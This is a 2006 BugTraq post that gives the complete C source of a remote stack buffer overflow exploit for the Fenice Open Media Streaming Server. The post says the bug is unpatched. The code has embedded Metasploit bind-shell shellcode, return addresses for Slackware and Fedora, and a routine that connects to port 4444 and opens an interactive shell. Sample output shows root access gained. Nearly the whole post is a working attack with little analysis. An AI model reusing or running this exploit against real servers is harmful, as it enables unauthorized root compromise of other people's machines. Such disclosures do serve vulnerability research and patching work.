BugTraq
Fenice - Open Media Streaming Server remote BOF exploit Apr 25 2006 07:25PM
Kaveh Razavi (c0d3r ihsteam com)

the attched source code contains the exploit for the recent
vulnerability reported in Fenice - Open Media Streaming Server by Luigi
Auriemma. the vulnerability is still remained unpatched.
so the software users should shutdown their software till a patch is
released by vender.

Regards
c0d3r of IHS
Network Security Researcher/*

IHS Iran Homeland Security public source code

Fenice - Open Media Streaming Server remote BOF exploit

author : c0d3r "kaveh razavi" c0d3r (at) ihsteam (dot) com [email concealed]

package : fenice-1.10.tar.gz and prolly prior versions

workaround : update after patch release

advisory : http://www.securityfocus.com/bid/17678

company address : http://streaming.polito.it/server

timeline :

23 Apr 2006 : vulnerability reported by Luigi Auriemma

25 Sep 2006 : IHS exploit released

exploit features :

1) a global offset

2) reliable metasploit shellcode

3) autoconnect to shell

bad chars : 0x00 0x05 encoder : PexAlphaNum

compiled with gcc under Linux : gcc fenice.c -o fenice

**************************************************************

Exploitation Method : linux-gate.so.1

the refrence written by izik could be downloaded from milw0rm.

after some research I realized that the offset is very stable

around 2.6 kernels compiled from source. the VA patch will

easily get bypassed. if you want to exploit 2.4 kernels

you can jump directly to the shellcode , there isn't any

stack randomization for sure in 2.4.* by default.

the offset on 2.6.13.2 and 2.6.15.6 compiled with amd64 flag

(slackware 10.2), also on 2.6.15.4 compiled with i386 flag

(Fedora core 2) was same. on default installation of fc3 the

linux-gate.so.1 has null at the first , so think of another

way to jump to the shellcode.

**************************************************************

greeting to :

www.ihsteam.com the team , LorD and NT

www.ihsteam.net english version ,

www.c0d3r.org my home :)

www.underground.ir friends who are participating in the forums

www.exploitdev.com Jamie and Ben , those times are now legend

www.milw0rm.com str0ke , keep the good job going

/*

/*

[c0d3r]$ gcc fenice.c -o fenice

[c0d3r]$ ./fenice 127.0.0.1 554 0

-------- fenice - Open Media Streaming Project remote BOF exploit

-------- copyrighted by c0d3r of IHS 2006

[+] Targeting slackware 10.2

[+] Shellcode size : 329 bytes

[+] Building overflow string

[+] attacking host 127.0.0.1

[+] packet size = 750 byte

[+] connected

[+] sending the overflow string

[+] exploit sent successfully to 127.0.0.1

[+] trying to get shell

[+] connecting to 127.0.0.1 on port 4444

[+] target exploited successfully

[+] Dropping into shell

uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(flopp
y)

Linux c0d3r 2.6.15.6 #4 SMP PREEMPT Sat Apr 15 23:22:34 AKDT 2006 i686 unknown unknown GNU/Linux

*/

#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <sys/time.h>

#include <netdb.h>

#include <netinet/in.h>

#include <arpa/inet.h>

#include <errno.h>

#define inc 0x41

#define size 750

void gotshell(int new_sock);

void usage();

// metasploit.com shellcode - badchars = 0x00 0x05

// linux_ia32_bind - LPORT=4444 Size=329 Encoder=PexAlphaNum

// I had a bit difficulty to execute my shellcode because some chars

// badly interpreted by fenice , anyway viva metasploit !

unsigned char shellcode[] =

"\xeb\x59\x59\x59\x59\xeb\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"

"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"

"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"

"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"

"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59"

"\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\x59\xe8\xa4\xff\xff\xff"

"\x4f\x49\x49\x49\x49\x49\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56"

"\x58\x34\x41\x30\x42\x36\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58"

"\x32\x42\x44\x42\x48\x34\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44"

"\x51\x42\x30\x41\x44\x41\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d"

"\x41\x43\x4b\x4d\x43\x45\x43\x54\x43\x45\x4c\x56\x44\x50\x4c\x36"

"\x48\x36\x4a\x55\x49\x49\x49\x58\x41\x4e\x4d\x4c\x42\x58\x48\x49"

"\x43\x54\x44\x45\x48\x36\x4a\x46\x41\x41\x4e\x35\x48\x36\x43\x35"

"\x49\x38\x41\x4e\x4c\x46\x48\x46\x4a\x35\x42\x35\x41\x35\x48\x45"

"\x49\x48\x41\x4e\x4d\x4c\x42\x48\x42\x4b\x48\x36\x41\x4d\x43\x4e"

"\x4d\x4c\x42\x58\x44\x45\x44\x55\x48\x45\x43\x54\x49\x38\x41\x4e"

"\x42\x4b\x48\x46\x4d\x4c\x42\x58\x43\x59\x4c\x56\x44\x30\x49\x55"

"\x42\x4b\x4f\x33\x4d\x4c\x42\x48\x49\x34\x49\x37\x49\x4f\x42\x4b"

"\x4b\x30\x44\x55\x4a\x46\x4f\x52\x4f\x32\x43\x47\x4a\x46\x4a\x56"

"\x4f\x42\x44\x56\x49\x36\x50\x36\x49\x48\x43\x4e\x44\x55\x43\x55"

"\x49\x58\x41\x4e\x4d\x4c\x42\x48\x5a";

char slack [] = "\x77\xe7\xff\xff"; // slackware 10.2 2.6.15.6

char FC2_2_6_15[] = "\x77\xe7\xff\xff"; // Fedora core 2 , 2.6.15.4

char debug [] = "\xdd\xdd\xdd\xdd"; // debugging purpose

char ret[4];

char get [] = "\x47\x45\x54\x20\x2f";

struct hostent *hp;

struct sockaddr_in con;

unsigned int rc,rc2,len=16,sock,sock2,os,addr,port;

char buffer[size];

// gotshell is from jamie (darkdud3) remote exploit sample

// with a bit change

void gotshell(int sock){

fd_set fd_read;

char buff[1024];

char cmd[100] = "id;uname -a\n";

int n;

FD_ZERO(&fd_read);

FD_SET(sock, &fd_read);

FD_SET(0, &fd_read);

send(sock, cmd, strlen(cmd), 0);

while(1) {

FD_SET(sock,&fd_read);

FD_SET(0,&fd_read);

if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;

if( FD_ISSET(sock, &fd_read) ) {

if((n=recv(sock,buff,sizeof(buff),0))<0){

fprintf(stderr, "EOF\n");

exit(2);

}

if(write(1,buff,n)<0)break;

}

if ( FD_ISSET(0, &fd_read) ) {

if((n=read(0,buff,sizeof(buff)))<0){

fprintf(stderr,"EOF\n");

exit(2);

}

if(send(sock,buff,n,0)<0) break;

}

usleep(10);

}

fprintf(stderr,"Connection aborted, select failed()\n");

exit(0);

}

void usage(char *arg){

printf("-------- usage : %s host_or_ip port target\n",arg);

printf("-------- example : %s localhost 554 0\n",arg);

printf("-------- target 0 : slackware 10.2 linux-2.6.15.6 : 0\n");

printf("-------- target 1 : Fedora core 2 linux-2.6.15.4 : 1\n");

printf("-------- target 2 : debug : 2\n\n");

exit(-1) ;

}

int main(int argc,char **argv){

printf("\n-------- fenice - Open Media Streaming Project remote BOF exploit\n");

printf("-------- copyrighted by c0d3r of IHS 2006\n\n");

if(argc != 4)

usage(argv[0]);

os = (unsigned short)atoi(argv[3]);

switch(os){

case 0:

strcat(ret,slack);

printf("[+] Targeting slackware 10.2\n");

break;

case 1:

strcat(ret,FC2_2_6_15);

printf("[+] Targeting fedora core 2 \n");

break;

case 2:

strcat(ret,debug);

printf("[+] Debugging\n");

break;

default:

printf("\n[-] This target doesnt exist in the list\n\n");

exit(-1);

}

printf("[+] Shellcode size : %d bytes\n",sizeof(shellcode)-1);

printf("[+] Building overflow string\n");

// heart of exploit

memset(buffer,inc,size);

memcpy(buffer,get,5);

memcpy(buffer+5+361,ret,4);

memcpy(buffer+5+361+4+10,shellcode,sizeof(shellcode)-1);

buffer[size] = 0;

// EO heart of exploit

hp = gethostbyname(argv[1]);

if (!hp)

addr = inet_addr(argv[1]);

if ((!hp) && (addr == INADDR_NONE) ){

printf("[-] unable to resolve %s\n",argv[1]);

exit(-1);

}

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (!sock){

printf("[-] socket() error...\n");

exit(-1);

}

if (hp != NULL)

memcpy(&(con.sin_addr),hp->h_addr,hp->h_length);

else

con.sin_addr.s_addr = addr;

if (hp)

con.sin_family = hp->h_addrtype;

else

con.sin_family = AF_INET;

port=atoi(argv[2]);

con.sin_port=htons(port);

printf("[+] attacking host %s\n" , argv[1]) ;

sleep(1);

printf("[+] packet size = %d byte\n" , sizeof(buffer));

rc=connect(sock, (struct sockaddr *) &con, sizeof (struct sockaddr_in));

if(!rc){

sleep(1) ;

printf("[+] connected\n") ;

printf("[+] sending the overflow string\n") ;

send(sock,buffer,strlen(buffer),0);

send(sock,"\n",1,0);

sleep(1) ;

send(sock,"\n",1,0);

sleep(1) ;

printf("[+] exploit sent successfully to %s \n" , argv[1]);

printf("[+] trying to get shell\n");

printf("[+] connecting to %s on port 4444\n",argv[1]);

sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (!sock){

printf("[-] socket() error...\n");

exit(-1);

}

con.sin_family = AF_INET;

con.sin_port=htons(4444);

rc2=connect(sock, (struct sockaddr *) &con, sizeof (struct sockaddr_in));

if(rc2 != 0) {

printf("[-] exploit probably failed\n");

exit(-1);

}

if(!rc2){

printf("[+] target exploited successfully\n");

printf("[+] Dropping into shell\n\n");

gotshell(sock);

}

}

}

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